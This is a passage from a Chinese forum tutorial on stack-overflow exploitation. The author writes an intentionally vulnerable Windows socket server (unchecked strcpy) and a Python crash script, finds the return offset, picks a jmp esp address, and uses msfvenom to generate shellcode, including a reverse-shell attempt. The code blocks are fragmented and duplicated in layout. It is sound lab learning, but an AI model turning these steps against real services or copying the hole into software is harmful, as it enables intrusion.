-
-
[原创]EXP编写学习 之 网络上的EXP(三)
-
发表于: 2022-5-1 17:17 10326
-
我是逆向练习生,羽墨。
我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白学习的第一视角
这里可以看到,IP为本机,端口为5566 ,关闭编译选项,GS DEP ASLR ,溢出覆盖返回地址的话,不用关心safeSEH
1.打开服务程序,x32dbg 附加, 使用py脚本发送payload
可以看到服务程序的EIP已经被覆盖为41414141
2.现在要确定返回地址的偏移 , 可以使用 mpattern_offset工具来定位(参考笔者前面的文章) , 笔者这里定位偏移为 504
3.确定偏移后,还需要一个跳板地址,jmp esp , 来跳到shellcode执行 , 使用OD Findaddr 加载后查找
4.选择 0x75A15978 这个地址吧 , 笔者使用物理机来进行测试的, 地址只在关机前有效, 因为win10系统都有ASLR ,但是开机后映射地址是不会改变的,除非你hook这个dll
5.那么现在还需要一段 win10可以运行的 shellcode , 使用msfvenom工具来生成一个测试吧
这里我们使用一个反弹shell的shellcdeo进行测试,搜索payload模块
使用这个反向TCPshell模块 然后查看它所支持的格式
好的,我们选择py , 然后查看它支持的架构
这里我们选择 x86 ,最后把命令整合一下 ,生成shellcode
好的,看起来是成功了,测试了一下, 发现nc在win10无法使用。。没办法监听。。。。。。 懒得弄了,换个弹窗的shellcode吧
好的,最后的EXP是这样的
1.打开漏洞程序,调试器附加,找到溢出函数,下断观察
2.攻击测试
这里可以看到,栈已经被41覆盖,返回地址变为我们的跳板地址,后面跟nop区 与shellcode
单步跟踪查看
成功来到栈上执行代码
F9跑起来,看看效果 (有时候生成的shellcode有问题) 好的,成功执行 ,并且程序自动退出
然后让我们直接运行程序与脚本,看看效果如何
点击确定,程序自动退出,EXP日志输出ok, Perfect
1.虽然还是比较基础,但是重在动手实践,顺带熟悉了msfvenom的用法与python socket的用法
2.昨天怼一个程序怼了一天,最后发现下载的是没有漏洞的版本,好的好的,差点给我气死
3.你学废了吗(手动狗头)
看雪EXP编写系列第四章
软件 | 版本 |
---|---|
一个存在漏洞的服务程序 | C语言自己编写(附件下载exe) |
调试器 | windbg,x32dbg |
python | pycharm py3.8 |
#include <stdio.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
SOCKET g_Socket;
sockaddr_in g_addr;
void Stack_Overflow(char
*
str
)
{
char buff[
500
]
=
{
0
};
strcpy(buff,
str
);
}
int
main()
{
/
/
初始化网络库
WSADATA wsaData;
if
(WSAStartup(MAKEWORD(
2
,
2
), &wsaData) !
=
0
)
printf(
"WSAStartup failed with error: %d\n"
, WSAGetLastError());
/
/
初始化套接字
g_Socket
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if
(INVALID_SOCKET
=
=
g_Socket)
{
printf(
"socket init error:%d\n"
, WSAGetLastError());
return
0
;
}
/
/
绑定端口
g_addr.sin_family
=
AF_INET;
g_addr.sin_port
=
htons(
5566
);
inet_pton(AF_INET,
"127.0.0.1"
, &g_addr.sin_addr);
if
(bind(g_Socket, (sockaddr
*
)&g_addr, sizeof(sockaddr))
=
=
SOCKET_ERROR)
{
printf(
"bind error:%d\n"
, WSAGetLastError());
return
0
;
}
/
/
监听端口
if
(listen(g_Socket,
20
)
=
=
SOCKET_ERROR)
{
printf(
"listen error:%d\n"
, WSAGetLastError());
return
0
;
}
/
/
接收客户端连接与数据
printf(
"Server : accept...\n"
);
sockaddr_in caddr;
int
len
=
sizeof(sockaddr_in);
while
(true)
{
SOCKET s
=
accept(g_Socket, (sockaddr
*
)&caddr, &
len
);
if
(INVALID_SOCKET
=
=
s)
{
printf(
"accept error:%d\n"
, WSAGetLastError());
return
0
;
}
printf(
"accept ok IP:%s port:%d\n"
, inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));
char recvBuf[
0x2000
]
=
{
0
};
int
ret
=
recv(s, recvBuf, sizeof(recvBuf),
0
);
if
(ret <
=
0
)
{
printf(
"recv error:%d\n"
, WSAGetLastError());
break
;
}
printf(
"len:%d\n data:%s"
, strlen(recvBuf), recvBuf);
Stack_Overflow(recvBuf);
/
/
溢出函数
closesocket(s);
}
closesocket(g_Socket);
WSACleanup();
return
0
;
}
#include <stdio.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#pragma comment(lib,"Ws2_32.lib")
SOCKET g_Socket;
sockaddr_in g_addr;
void Stack_Overflow(char
*
str
)
{
char buff[
500
]
=
{
0
};
strcpy(buff,
str
);
}
int
main()
{
/
/
初始化网络库
WSADATA wsaData;
if
(WSAStartup(MAKEWORD(
2
,
2
), &wsaData) !
=
0
)
printf(
"WSAStartup failed with error: %d\n"
, WSAGetLastError());
/
/
初始化套接字
g_Socket
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if
(INVALID_SOCKET
=
=
g_Socket)
{
printf(
"socket init error:%d\n"
, WSAGetLastError());
return
0
;
}
/
/
绑定端口
g_addr.sin_family
=
AF_INET;
g_addr.sin_port
=
htons(
5566
);
inet_pton(AF_INET,
"127.0.0.1"
, &g_addr.sin_addr);
if
(bind(g_Socket, (sockaddr
*
)&g_addr, sizeof(sockaddr))
=
=
SOCKET_ERROR)
{
printf(
"bind error:%d\n"
, WSAGetLastError());
return
0
;
}
/
/
监听端口
if
(listen(g_Socket,
20
)
=
=
SOCKET_ERROR)
{
printf(
"listen error:%d\n"
, WSAGetLastError());
return
0
;
}
/
/
接收客户端连接与数据
printf(
"Server : accept...\n"
);
sockaddr_in caddr;
int
len
=
sizeof(sockaddr_in);
while
(true)
{
SOCKET s
=
accept(g_Socket, (sockaddr
*
)&caddr, &
len
);
if
(INVALID_SOCKET
=
=
s)
{
printf(
"accept error:%d\n"
, WSAGetLastError());
return
0
;
}
printf(
"accept ok IP:%s port:%d\n"
, inet_ntoa(caddr.sin_addr), htons(caddr.sin_port));
char recvBuf[
0x2000
]
=
{
0
};
int
ret
=
recv(s, recvBuf, sizeof(recvBuf),
0
);
if
(ret <
=
0
)
{
printf(
"recv error:%d\n"
, WSAGetLastError());
break
;
}
printf(
"len:%d\n data:%s"
, strlen(recvBuf), recvBuf);
Stack_Overflow(recvBuf);
/
/
溢出函数
closesocket(s);
}
closesocket(g_Socket);
WSACleanup();
return
0
;
}
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import
socket,sys
def
Exp(ip,port):
target
=
ip
port
=
port
buffer
=
b
'\x41'
*
1000
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try
:
connect
=
s.connect((target,port))
print
(
"connect success"
)
except
:
print
(
"connect failed"
)
sys.exit(
0
)
s.sendall(
buffer
)
print
(
"send payload"
)
try
:
s.recv(
1024
)
except
:
print
(
"ok"
)
s.close()
if
__name__
=
=
'__main__'
:
Exp(
'127.0.0.1'
,
5566
)
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import
socket,sys
def
Exp(ip,port):
target
=
ip
port
=
port
buffer
=
b
'\x41'
*
1000
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try
:
connect
=
s.connect((target,port))
print
(
"connect success"
)
except
:
print
(
"connect failed"
)
sys.exit(
0
)
s.sendall(
buffer
)
print
(
"send payload"
)
try
:
s.recv(
1024
)
except
:
print
(
"ok"
)
s.close()
if
__name__
=
=
'__main__'
:
Exp(
'127.0.0.1'
,
5566
)
-
p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-
l, –
list
[module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,
all
-
n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-
f, –
format
<
format
> 指定输出格式 (使用 –
help
-
formats 来获取msf支持的输出格式列表)
-
e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用
-
e选项也没用
-
b选项,则输出raw payload
-
a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-
s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-
b, –bad
-
chars <
list
> 设定规避字符集,指定需要过滤的坏字符例如:不使用
'\x0A'
'\x00'
;
-
i, –iterations < count> 指定payload的编码次数
-
c, –add
-
code < path> 指定一个附加的win32 shellcode文件
-
x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-
k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload
-
options 列举payload的标准选项
-
o, –out < path> 指定创建好的payload的存放位置
-
v, –var
-
name < name> 指定一个自定义的变量,以确定输出格式
-
h, –
help
查看帮助选项
-
p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-
l, –
list
[module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops,
all
-
n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-
f, –
format
<
format
> 指定输出格式 (使用 –
help
-
formats 来获取msf支持的输出格式列表)
-
e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用
-
e选项也没用
-
b选项,则输出raw payload
-
a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-
s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-
b, –bad
-
chars <
list
> 设定规避字符集,指定需要过滤的坏字符例如:不使用
'\x0A'
'\x00'
;
-
i, –iterations < count> 指定payload的编码次数
-
c, –add
-
code < path> 指定一个附加的win32 shellcode文件
-
x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
- [原创]补丁分析到滥用GDI对象提权实践 18756
- [原创]震惊!万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64) 19655
- [原创]Typora 破解 之 我的内存我做主(下) 21815
- [原创]EXP编写学习 之 绕过SafeSEH(五) 16702
- [原创]EXP编写学习 之 绕过GS(四) 11372